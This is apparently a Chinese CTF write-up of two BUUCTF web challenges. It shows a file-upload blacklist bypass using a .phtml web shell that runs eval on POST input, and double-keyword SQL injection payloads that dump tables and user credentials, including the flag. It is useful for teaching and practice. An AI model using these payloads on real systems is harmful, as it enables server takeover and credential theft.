题目源:BUUCTF的web题
[ACTF2020 新生赛]Upload
原始信息
原始信息其实就一点,文件上传,并且限制上传为图片。上传后的图片会重命名,并且重命名的方式是: 随机字符串+文件后缀
题目的限制:黑名单+生成随机文件名
解题
尝试昨天的生僻php文件类型上传文件即可。
Content-Disposition: form-data; name="upload_file"; filename="hack_1.phtml" ... <script language="php">eval($_POST['x']);</script>
|
菜刀一把梭连入后台后,看下源码:
<?php error_reporting(0);
define("UPLOAD_PATH", "./uplo4d"); $msg = "Upload Success!"; if (isset($_POST['submit'])) { $temp_file = $_FILES['upload_file']['tmp_name']; $file_name = $_FILES['upload_file']['name']; $ext = pathinfo($file_name,PATHINFO_EXTENSION); if(in_array($ext, ['php', 'php3', 'php4', 'php5'])) { exit('nonono~ Bad file!'); }
$new_file_name = md5($file_name).".".$ext; $img_path = UPLOAD_PATH . '/' . $new_file_name;
if (move_uploaded_file($temp_file, $img_path)){ $is_upload = true; } else { $msg = 'Upload Failed!'; } echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>"; } ?>
|
源码就是上面那个了,实锤了黑名单过滤,某些博客随随便便说白名单过滤的也不知道怎么想的。
最后,老规矩,翻翻目录把flag拿出来就过关了。
[极客大挑战 2019]BabySQL
题目信息
题目信息和昨天的那道SQL差不多,给出的信息差不多是:
1.登录框+密码框 2.check.php 3.未知的SQL限制(目前是SQL双写替换为空)
|
解题
解题步骤就简单多了: 下面都是基于 ?check.php?username= 后面的拼接,
测字段: 1' ororder bbyy 3%23&password=1 # 正常回显(正常报错) 1' ororder bbyy 4%23&password=1
测回显点: 1' ununionion selselectect 1,2,3%23&password=1
爆库: 1' ununionion selselectect 1,version(),database()%23&password=1
爆表: ?username=1' ununionion selselectect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=database()%23 &password=123 # Hello b4bsql,geekuser! # Your password is '3'
爆列: 1' ununionion selselectect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' %23 &password=123
爆列值: ?username=1'ununionion selselectect 1,group_concat(id,'~',username,'~',passwoorrd,'----'),3 frfromom geek.b4bsql%23 &password=123 # Login Success! #Hello 1~cl4y~i_want_to_play_2077----, #2~sql~sql_injection_is_so_fun----, #3~porn~do_you_know_pornhub----, #4~git~github_is_different_from_pornhub----, #5~Stop~you_found_flag_so_stop----, #6~badguy~i_told_you_to_stop----, #7~hacker~hack_by_cl4y----, #8~flag~flag{5b345bda-842a-44b2-9690-0b159a56a4fb}----! #Your password is '3'
|
收获
双写绕过过滤。